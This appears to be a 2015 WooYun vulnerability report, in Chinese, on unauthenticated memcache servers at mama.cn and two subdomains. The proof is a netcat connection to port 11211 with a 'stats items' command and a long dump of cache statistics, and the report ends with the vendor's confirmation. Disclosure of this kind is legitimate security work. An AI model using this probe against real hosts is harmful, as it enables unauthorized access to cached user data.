漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0107859
漏洞标题:妈妈网多处未授权访问(泄露大量信息)
相关厂商:妈妈网
漏洞作者: 路人甲
提交时间:2015-04-15 14:16
修复时间:2015-05-30 15:32
公开时间:2015-05-30 15:32
漏洞类型:未授权访问/权限绕过
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-15: 厂商已经确认,细节仅向厂商公开
2015-04-25: 细节向核心白帽子及相关领域专家公开
2015-05-05: 细节向普通白帽子公开
2015-05-15: 细节向实习白帽子公开
2015-05-30: 细节向公众公开
简要描述:
妈妈网多处未授权访问,泄露大量信息
详细说明:
多处memcache 未授权访问
mama.cn
service.mama.cn
us.mama.cn
数据量很大
漏洞证明:
root@kali:~# nc mama.cn 11211
stats items
STAT items:1:number 1022
STAT items:1:age 384
STAT items:1:evicted 37
STAT items:1:evicted_nonzero 28
STAT items:1:evicted_time 7626
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 50221700
STAT items:1:expired_unfetched 50221642
STAT items:1:evicted_unfetched 36
STAT items:1:crawler_reclaimed 0
STAT items:2:number 1220078
STAT items:2:age 233157
STAT items:2:evicted 17817
STAT items:2:evicted_nonzero 0
STAT items:2:evicted_time 243465
STAT items:2:outofmemory 0
STAT items:2:tailrepairs 0
STAT items:2:reclaimed 44262631
STAT items:2:expired_unfetched 44261294
STAT items:2:evicted_unfetched 6200
STAT items:2:crawler_reclaimed 0
STAT items:3:number 2221156
STAT items:3:age 347192
STAT items:3:evicted 53148127
STAT items:3:evicted_nonzero 0
STAT items:3:evicted_time 347191
STAT items:3:outofmemory 0
STAT items:3:tailrepairs 0
STAT items:3:reclaimed 7758184
STAT items:3:expired_unfetched 7659467
STAT items:3:evicted_unfetched 53146743
STAT items:3:crawler_reclaimed 0
STAT items:4:number 2051336
STAT items:4:age 353513
STAT items:4:evicted 21904
STAT items:4:evicted_nonzero 1290
STAT items:4:evicted_time 359919
STAT items:4:outofmemory 0
STAT items:4:tailrepairs 0
STAT items:4:reclaimed 55610560
STAT items:4:expired_unfetched 54889573
STAT items:4:evicted_unfetched 21495
STAT items:4:crawler_reclaimed 0
STAT items:5:number 3012
STAT items:5:age 22644
STAT items:5:evicted 25359
STAT items:5:evicted_nonzero 16854
STAT items:5:evicted_time 22772
STAT items:5:outofmemory 0
STAT items:5:tailrepairs 0
STAT items:5:reclaimed 3906129
STAT items:5:expired_unfetched 3885919
STAT items:5:evicted_unfetched 20614
STAT items:5:crawler_reclaimed 0
STAT items:6:number 2182936
STAT items:6:age 446146
STAT items:6:evicted 2394
STAT items:6:evicted_nonzero 270
STAT items:6:evicted_time 576068
STAT items:6:outofmemory 0
STAT items:6:tailrepairs 0
STAT items:6:reclaimed 105221781
STAT items:6:expired_unfetched 104876560
STAT items:6:evicted_unfetched 2153
STAT items:6:crawler_reclaimed 0
STAT items:7:number 48411
STAT items:7:age 184836
STAT items:7:evicted 2810
STAT items:7:evicted_nonzero 797
STAT items:7:evicted_time 168055
STAT items:7:outofmemory 0
STAT items:7:tailrepairs 0
STAT items:7:reclaimed 9454601
STAT items:7:expired_unfetched 9443142
STAT items:7:evicted_unfetched 2058
STAT items:7:crawler_reclaimed 0
STAT items:8:number 7483
STAT items:8:age 382064
STAT items:8:evicted 124
STAT items:8:evicted_nonzero 37
STAT items:8:evicted_time 658503
STAT items:8:outofmemory 0
STAT items:8:tailrepairs 0
STAT items:8:reclaimed 699675
STAT items:8:expired_unfetched 697066
STAT items:8:evicted_unfetched 25
STAT items:8:crawler_reclaimed 0
STAT items:9:number 14504
STAT items:9:age 450189
STAT items:9:evicted 1456
STAT items:9:evicted_nonzero 160
STAT items:9:evicted_time 335707
STAT items:9:outofmemory 0
STAT items:9:tailrepairs 0
STAT items:9:reclaimed 1908598
STAT items:9:expired_unfetched 1876050
STAT items:9:evicted_unfetched 118
STAT items:9:crawler_reclaimed 0
STAT items:10:number 2862
STAT items:10:age 84228
STAT items:10:evicted 421
STAT items:10:evicted_nonzero 312
STAT items:10:evicted_time 130700
STAT items:10:outofmemory 0
STAT items:10:tailrepairs 0
STAT items:10:reclaimed 950322
STAT items:10:expired_unfetched 923463
STAT items:10:evicted_unfetched 96
STAT items:10:crawler_reclaimed 0
STAT items:11:number 2233
STAT items:11:age 98289
STAT items:11:evicted 395
STAT items:11:evicted_nonzero 28
STAT items:11:evicted_time 177538
STAT items:11:outofmemory 0
STAT items:11:tailrepairs 0
STAT items:11:reclaimed 341393
STAT items:11:expired_unfetched 326665
STAT items:11:evicted_unfetched 88
STAT items:11:crawler_reclaimed 0
STAT items:12:number 1358
STAT items:12:age 17972
STAT items:12:evicted 119
STAT items:12:evicted_nonzero 7
STAT items:12:evicted_time 198257
STAT items:12:outofmemory 0
STAT items:12:tailrepairs 0
STAT items:12:reclaimed 523958
STAT items:12:expired_unfetched 522197
STAT items:12:evicted_unfetched 25
STAT items:12:crawler_reclaimed 0
STAT items:13:number 2029
STAT items:13:age 21145
STAT items:13:evicted 4741
STAT items:13:evicted_nonzero 7
STAT items:13:evicted_time 204995
STAT items:13:outofmemory 0
STAT items:13:tailrepairs 0
STAT items:13:reclaimed 551501
STAT items:13:expired_unfetched 550798
STAT items:13:evicted_unfetched 481
STAT items:13:crawler_reclaimed 0
STAT items:14:number 6151
STAT items:14:age 180321
STAT items:14:evicted 1541
STAT items:14:evicted_nonzero 12
STAT items:14:evicted_time 247112
STAT items:14:outofmemory 0
STAT items:14:tailrepairs 0
STAT items:14:reclaimed 649187
STAT items:14:expired_unfetched 648466
STAT items:14:evicted_unfetched 282
STAT items:14:crawler_reclaimed 0
STAT items:15:number 6677
STAT items:15:age 177757
STAT items:15:evicted 62
STAT items:15:evicted_nonzero 6
STAT items:15:evicted_time 289239
STAT items:15:outofmemory 0
STAT items:15:tailrepairs 0
STAT items:15:reclaimed 789011
STAT items:15:expired_unfetched 788177
STAT items:15:evicted_unfetched 14
STAT items:15:crawler_reclaimed 0
STAT items:16:number 5584
STAT items:16:age 171274
STAT items:16:evicted 620
STAT items:16:evicted_nonzero 10
STAT items:16:evicted_time 179931
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:16:reclaimed 726468
STAT items:16:expired_unfetched 725280
STAT items:16:evicted_unfetched 294
STAT items:16:crawler_reclaimed 0
STAT items:17:number 2358
STAT items:17:age 54258
STAT items:17:evicted 1312
STAT items:17:evicted_nonzero 38
STAT items:17:evicted_time 81548
STAT items:17:outofmemory 0
STAT items:17:tailrepairs 0
STAT items:17:reclaimed 1065422
STAT items:17:expired_unfetched 1059911
STAT items:17:evicted_unfetched 1121
STAT items:17:crawler_reclaimed 0
STAT items:18:number 3874
STAT items:18:age 32674
STAT items:18:evicted 561
STAT items:18:evicted_nonzero 233
STAT items:18:evicted_time 62293
STAT items:18:outofmemory 0
STAT items:18:tailrepairs 0
STAT items:18:reclaimed 1620748
STAT items:18:expired_unfetched 1609287
STAT items:18:evicted_unfetched 413
STAT items:18:crawler_reclaimed 0
STAT items:19:number 7230
STAT items:19:age 351111
STAT items:19:evicted 950
STAT items:19:evicted_nonzero 493
STAT items:19:evicted_time 32653
STAT items:19:outofmemory 0
STAT items:19:tailrepairs 0
STAT items:19:reclaimed 2801446
STAT items:19:expired_unfetched 2757124
STAT items:19:evicted_unfetched 615
STAT items:19:crawler_reclaimed 0
STAT items:20:number 1267
STAT items:20:age 35638
STAT items:20:evicted 631
STAT items:20:evicted_nonzero 382
STAT items:20:evicted_time 21216
STAT items:20:outofmemory 0
STAT items:20:tailrepairs 0
STAT items:20:reclaimed 2463821
STAT items:20:expired_unfetched 2425004
STAT items:20:evicted_unfetched 391
STAT items:20:crawler_reclaimed 0
STAT items:21:number 102
STAT items:21:age 519
STAT items:21:evicted 460496
STAT items:21:evicted_nonzero 458622
STAT items:21:evicted_time 3268
STAT items:21:outofmemory 0
STAT items:21:tailrepairs 0
STAT items:21:reclaimed 3504748
STAT items:21:expired_unfetched 3359691
STAT items:21:evicted_unfetched 444782
STAT items:21:crawler_reclaimed 0
STAT items:22:number 120
STAT items:22:age 1827
STAT items:22:evicted 91
STAT items:22:evicted_nonzero 7
STAT items:22:evicted_time 8065
STAT items:22:outofmemory 0
STAT items:22:tailrepairs 0
STAT items:22:reclaimed 287053
STAT items:22:expired_unfetched 279524
STAT items:22:evicted_unfetched 67
STAT items:22:crawler_reclaimed 0
STAT items:23:number 39
STAT items:23:age 226
STAT items:23:evicted 3692
STAT items:23:evicted_nonzero 3657
STAT items:23:evicted_time 1340
STAT items:23:outofmemory 0
STAT items:23:tailrepairs 0
STAT items:23:reclaimed 101262
STAT items:23:expired_unfetched 97920
STAT items:23:evicted_unfetched 3532
STAT items:23:crawler_reclaimed 0
STAT items:24:number 5
STAT items:24:age 912
STAT items:24:evicted 15
STAT items:24:evicted_nonzero 4
STAT items:24:evicted_time 75116
STAT items:24:outofmemory 0
STAT items:24:tailrepairs 0
STAT items:24:reclaimed 18612
STAT items:24:expired_unfetched 18560
STAT items:24:evicted_unfetched 9
STAT items:24:crawler_reclaimed 0
STAT items:25:number 1
STAT items:25:age 104
STAT items:25:evicted 2
STAT items:25:evicted_nonzero 1
STAT items:25:evicted_time 495078
STAT items:25:outofmemory 0
STAT items:25:tailrepairs 0
STAT items:25:reclaimed 14582
STAT items:25:expired_unfetched 14581
STAT items:25:evicted_unfetched 0
STAT items:25:crawler_reclaimed 0
STAT items:26:number 9
STAT items:26:age 26294
STAT items:26:evicted 7
STAT items:26:evicted_nonzero 1
STAT items:26:evicted_time 1282106
STAT items:26:outofmemory 0
STAT items:26:tailrepairs 0
STAT items:26:reclaimed 10228
STAT items:26:expired_unfetched 10227
STAT items:26:evicted_unfetched 2
STAT items:26:crawler_reclaimed 0
STAT items:27:number 1
STAT items:27:age 226
STAT items:27:evicted 9
STAT items:27:evicted_nonzero 5
STAT items:27:evicted_time 1043305
STAT items:27:outofmemory 0
STAT items:27:tailrepairs 0
STAT items:27:reclaimed 823
STAT items:27:expired_unfetched 823
STAT items:27:evicted_unfetched 0
STAT items:27:crawler_reclaimed 0
STAT items:28:number 8
STAT items:28:age 1063
STAT items:28:evicted 0
STAT items:28:evicted_nonzero 0
STAT items:28:evicted_time 0
STAT items:28:outofmemory 0
STAT items:28:tailrepairs 0
STAT items:28:reclaimed 1285
STAT items:28:expired_unfetched 1284
STAT items:28:evicted_unfetched 0
STAT items:28:crawler_reclaimed 0
STAT items:30:number 7
STAT items:30:age 889
STAT items:30:evicted 0
STAT items:30:evicted_nonzero 0
STAT items:30:evicted_time 0
STAT items:30:outofmemory 0
STAT items:30:tailrepairs 0
STAT items:30:reclaimed 3244
STAT items:30:expired_unfetched 3244
STAT items:30:evicted_unfetched 0
STAT items:30:crawler_reclaimed 0
STAT items:31:number 1
STAT items:31:age 1685
STAT items:31:evicted 0
STAT items:31:evicted_nonzero 0
STAT items:31:evicted_time 0
STAT items:31:outofmemory 0
STAT items:31:tailrepairs 0
STAT items:31:reclaimed 7835
STAT items:31:expired_unfetched 7835
STAT items:31:evicted_unfetched 0
STAT items:31:crawler_reclaimed 0
STAT items:34:number 3
STAT items:34:age 1524
STAT items:34:evicted 4
STAT items:34:evicted_nonzero 1
STAT items:34:evicted_time 335
STAT items:34:outofmemory 0
STAT items:34:tailrepairs 0
STAT items:34:reclaimed 15
STAT items:34:expired_unfetched 15
STAT items:34:evicted_unfetched 1
STAT items:34:crawler_reclaimed 0
STAT items:35:number 11
STAT items:35:age 2775
STAT items:35:evicted 1
STAT items:35:evicted_nonzero 0
STAT items:35:evicted_time 22328
STAT items:35:outofmemory 0
STAT items:35:tailrepairs 0
STAT items:35:reclaimed 0
STAT items:35:expired_unfetched 0
STAT items:35:evicted_unfetched 0
STAT items:35:crawler_reclaimed 0
STAT items:36:number 4
STAT items:36:age 250
STAT items:36:evicted 0
STAT items:36:evicted_nonzero 0
STAT items:36:evicted_time 0
STAT items:36:outofmemory 0
STAT items:36:tailrepairs 0
STAT items:36:reclaimed 5
STAT items:36:expired_unfetched 4
STAT items:36:evicted_unfetched 0
STAT items:36:crawler_reclaimed 0
STAT items:42:number 1
STAT items:42:age 4073044
STAT items:42:evicted 1
STAT items:42:evicted_nonzero 1
STAT items:42:evicted_time 6
STAT items:42:outofmemory 0
STAT items:42:tailrepairs 0
STAT items:42:reclaimed 0
STAT items:42:expired_unfetched 0
STAT items:42:evicted_unfetched 1
STAT items:42:crawler_reclaimed 0
END
修复方案:
做访问控制
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2015-04-15 15:30
厂商回复:
谢谢
最新状态:
暂无